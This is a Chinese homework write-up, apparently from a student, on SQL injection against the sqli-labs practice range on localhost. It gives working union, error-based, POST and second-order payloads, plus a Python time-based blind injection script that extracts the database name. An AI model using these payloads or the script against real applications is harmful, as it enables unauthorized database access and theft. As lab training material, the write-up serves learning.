第一次作业,sql注入总结

news2024/10/1 21:28:40

sqli-labs靶场中演示:

less1:

注入点为:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

get输入一个id,可以逃逸出单引号来实现sql注入。

正常的输入为,输出数据库中查询的内容。

http://127.0.0.1:8080/sqli-labs/Less-1/?id=1

可以使用union 联合查询  或者报错注入 updatexml(1,conncat(),1)只能显示32位和 extractvalue()联合查询需要知道有几列,可以用order by 找出有几列 ,可以用数字表示列名。

在第四次时报错了,说明有三列:

http://127.0.0.1:8080/sqli-labs/Less-1/?id=1%27%20order%20by%204%23

那么利用union联合查询:

http://127.0.0.1:8080/sqli-labs/Less-1/?id=-1%27%20union%20select%201,user(),database()%23

less5:

报错注入: updatexml(1,conncat(),1)只能显示32位和 extractvalue()

补充:用substr((),1,32)截取前32位,可以避免数据过长出现缺失

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
#注入点不变但因为输出内容改变,所有更换注入方式
#正确输出为此
echo 'You are in...........';
#错误输出为此
print_r(mysqli_error($con1));
http://127.0.0.1:8080/sqli-labs/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)%23

less9:

时间盲注:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
#注入点还是不变,但是正确错误无任何返回值
if($row)
	{
  	echo '<font size="5" color="#FFFF00">';	
  	echo 'You are in...........';
  	echo "<br>";
    	echo "</font>";
  	}
	else 
	{
	
	echo '<font size="5" color="#FFFF00">';
	echo 'You are in...........';
	//print_r(mysqli_error($con1));
	//echo "You have an error in your SQL syntax";
	echo "</br></font>";	
	echo '<font color= "#0000ff" font size= 3>';	
	
	}

利用python实现二分查找暴力破解:

import time

import requests

url = 'http://127.0.0.1:8080/sqli-labs/Less-9/index.php'

def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
#注入点使用ascii转成asc码比较数字就可以确定是那个字母,如果匹配成功就沉睡一秒

            res = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=res)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

inject_database(url)

若有类似如下报错:

Traceback (most recent call last):
  File "。。。。", line 1, in <module>
    import requests
ModuleNotFoundError: No module named 'requests'

可以win加r,cmd 使用:就可以完成

pip install requests

less11:

post输入一个用户名和密码。

注入点:

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";

#返回内容为:
		echo 'Your Login name:'. $row['username'];
		echo "<br>";
		echo 'Your Password:' .$row['password'];
		echo "<br>";

        print_r(mysqli_error($con1));

那么依然可以沿用上面思路:

在username出输入:

a'union select 1,user()#

less24:

二次注入:入库出库两步操作  

进入时被过滤无法实现

   $username = mysqli_real_escape_string($con1, $_POST["login_user"]);
   $password = mysqli_real_escape_string($con1, $_POST["login_password"]);
   $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

那么在出库时则没有过滤的内容,就可以在出库时尝试sql注入

$username= $_SESSION["username"];

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

在注册账户的内容出输入Dumb'#   ,然后按照要求new password里面就会是修改的Dumb中的密码.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1979488.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

如何将PyCharm 中使用 PDM 管理的 Django 项目迁移到 VS Code 并确保一切正常工作?

嗨&#xff0c;我是兰若姐姐&#xff0c;相信很多小伙伴都遇到过这种情况&#xff0c;使用pycharm用习惯了&#xff0c;想换个编辑器&#xff0c;比如换成vscode&#xff0c;今天就告诉大家&#xff0c;如果轻松切换到vscode 步骤 1&#xff1a;在 VS Code 中打开项目 打开 V…

并行状态的广播事件

平行状态的广播事件 此示例显示了并行状态下事件广播操作的行为。 最初&#xff0c;图表处于休眠状态。并行子状态A.A1.A1a和A.A2.A2a处于活动状态。事件E_one发生并唤醒图表&#xff0c;图表从根向下通过层次结构处理事件&#xff1a; 1 图表根会检查根级别是否存在E_one导致…

Docker简介 MacM1安装Docker

文章目录 1 Docker简介2 Docker VS 虚拟机1 Docker优势2 Docker用途 3 MacM1 下载安装Docker1 配置环境变量 4 配置Docker2 设置Docker资源3 设置Docker镜像 参考 1 Docker简介 Docker主要解决了软件开发和运行配置的问题&#xff0c;但是由于其功能的强大&#xff0c;也被应用…

跨境电商下载工具天猫主图sku图等图片信息

优美的图片是电商卖家吸引顾客、展示商品魅力的关键。高质量的图片能够提升产品吸引力&#xff0c;增强用户信任感&#xff0c;促进购买决策&#xff0c;从而直接影响销量和店铺形象。在视觉营销的时代&#xff0c;优秀的商品图片更是流量转化的利器。 使用图快下载器&#xf…

多租户系统数据隔离方案

目录 前言 数据行 数据表 基于业务场景 基于数据量 数据库 数据源表 动态数据源 前言 多租户系统是一种将多个客户的数据和应用程序分开的系统&#xff0c;每个客户被视为一个独立的租户&#xff0c;互不干扰。实现多租户系统的关键之一是确保数据的隔离。 数据隔离的…

Windows 添加自定义服务实现开机(用户登录之前)自动运行 Python 脚本

实现效果 使用 Python 编写的一个脚本, 希望在 Windows 系统启动时, 用户登录之前就自动运行. 准备工作 首先确保 Python 脚本可以手动正常运行, 演示起见, 编写下面的一个简单的脚本用于在 C 盘根目录中生成一个包含脚本运行时间戳的文本文件. Python 脚本存放在 C:\Python…

RISC-V (五)上下文切换和协作式多任务

任务&#xff08;task&#xff09; 所谓的任务就是寄存器的当前值。 -smp后面的数字指的是hart的个数&#xff0c;qemu模拟器最大可以有8个核&#xff0c;此文围绕一个核来讲。 QEMU qemu-system-riscv32 QFLAG -nographic -smp 1 -machine virt -bios none 协作式多任务 …

绘唐科技,绘唐3高级推理创作

绘唐科技&#xff0c;绘唐3高级推理创作绘唐3https://qvfbz6lhqnd.feishu.cn/wiki/D3YLwmIzmivZ7BkDij6coVcbn7W 《绘唐3&#xff1a;高级推理创作》 第一章&#xff1a;谋杀案的启示 在古代绘唐王朝的京都&#xff0c;发生了一起离奇的谋杀案。一位名叫李红的官员&#xff0c…

[Day 44] 區塊鏈與人工智能的聯動應用:理論、技術與實踐

生成对抗网络&#xff08;Generative Adversarial Networks&#xff0c;GANs&#xff09;是一种由Ian Goodfellow等人在2014年提出的深度学习模型&#xff0c;广泛用于图像生成、图像超分辨率、图像修复等领域。GAN由一个生成器&#xff08;Generator&#xff09;和一个判别器&…

状态同步帧同步

帧同步&#xff1a; 有明确的逻辑帧概念&#xff0c;按照固定的逻辑帧间隔同步帧数据 原理 锁帧&#xff1a;mmo那种游戏&#xff0c;服务器需要收到第k帧所有客户端的指令&#xff0c;就算没有操作也发个空指令上去&#xff08;相对来说回合制卡牌这类就简单很多&#xff0…

keil编程时,出现”MULTIPLE PUBLIC DEFINITIONS“,extern声明时不能赋值

原因导致重复定义&#xff1f; 有可能是重复定义导致的&#xff0c;这就需要查看报错位置的变量或函数是不是被重复定义了。也可能是一些语法错误导致的错误 语法错误导致的错误原因 使用extern只是为了说明这个变量在别的地方已经定义过&#xff0c;但使用extern引用时&…

NSS [HNCTF 2022 WEEK3]ssssti

NSS [HNCTF 2022 WEEK3]ssssti SSTI类题目&#xff08;flask&#xff09;毋庸置疑。 有过滤&#xff0c;我们拿burp先fuzz一波。长度159的都是被过滤的。 过滤了下划线、引号、args、os。 我们利用request对象绕过对下划线和引号的过滤&#xff08;题目不允许POST方法&#x…

【机器学习】过拟合和欠拟合、高偏差(High Bias)和高方差(High Variance)的区别、过拟合和欠拟合的示例以及图表表示

引言 在机器学习中&#xff0c;过拟合&#xff08;Overfitting&#xff09;是指模型在训练数据上学习得太好&#xff0c;以至于它捕捉到了数据中的噪声和随机波动&#xff0c;而不是潜在的真实关系&#xff0c;这导致模型在新的、未见过的数据上表现不佳&#xff1b;欠拟合&…

从零开始:MySQL安装与配置完全指南

前言 哇&#xff0c;终于进入到令人激动的MySQL环节了 它可以说是你编程生涯中的最佳朋友&#xff0c;因为它总是能存储你的数据&#xff0c;从不说&#xff1a;“我忘记了你的信 息”。而且&#xff0c;它是免费的&#xff0c;不像一些昂贵的数据库&#xff0c;它从不让你的…

部署k8s+conatinerd环境

1、准备系统环境 禁用默认休眠&#xff08;可选&#xff09; 禁用&#xff1a;systemctl mask sleep.target suspend.target hibernate.target hybrid-sleep.target启用&#xff1a;sudo systemctl unmask sleep.target suspend.target hibernate.target hybrid-sleep.target …

随机对照临床试验(RCT)与历史对照临床试验(HCT)

临床试验是评估新药、新疗法或新技术有效性和安全性的关键手段。在临床试验中&#xff0c;如何选择对照组是影响试验结果准确性和可信度的重要因素。随机对照临床试验&#xff08;Randomized Controlled Trial, RCT&#xff09;和历史对照临床试验&#xff08;Historical Contr…

苹果电脑玩的游戏有哪些 Mac电脑怎么玩Windows游戏 苹果电脑可以装模拟器玩游戏吗

苹果电脑虽然在游戏生态上可能不及Windows平台那么广泛&#xff0c;但其强大的硬件和macOS系统的优化&#xff0c;足以支持一系列高质量游戏的流畅运行。从策略游戏《文明VI》到动作冒险游戏《黑暗之魂III》&#xff0c;再到解谜游戏《传送门2》和角色扮演游戏《神界&#xff1…

世界顶尖哲学家排行榜前十名,全球公认十大最厉害的思想家之一

标题&#xff1a;智慧与爱心&#xff1a;塑造命运的双翼 正能量因有爱心&#xff0c; 负能量期待智慧…&#xff08;升命学说&#xff09; 在这个纷纭复杂的世界中&#xff0c;我们每个人都是自己命运的舵手。正如升命学说所揭示&#xff0c;正能量的培养离不开爱心的滋养&…

Springboot+Vue在线考试系统(优质版)-附项目源码与配套论文

1.1 开发背景 在线考试系统的设计与实现&#xff0c;首先需要对系统进行需求分析&#xff0c;明确系统的功能和性能要求。系统需要具备考试管理、题库管理、在线考试、自动阅卷等功能&#xff0c;同时还需要保证系统的安全性、稳定性和可扩展性。 在系统的架构设计方面&#…

【多线程-从零开始-贰】线程的构造方法和常见属性

Thread 的常见构造方法 在创建线程的时候&#xff0c;是可以给线程起名字的。默认为 Thread-0 、Thread-1… 不会影响线程执行效果&#xff0c;可以更好地进行管理 ThreadGroup -线程组 把多个线程放到一组里&#xff0c;方便统一的设置线程的一些属性不过现在很少用到&#…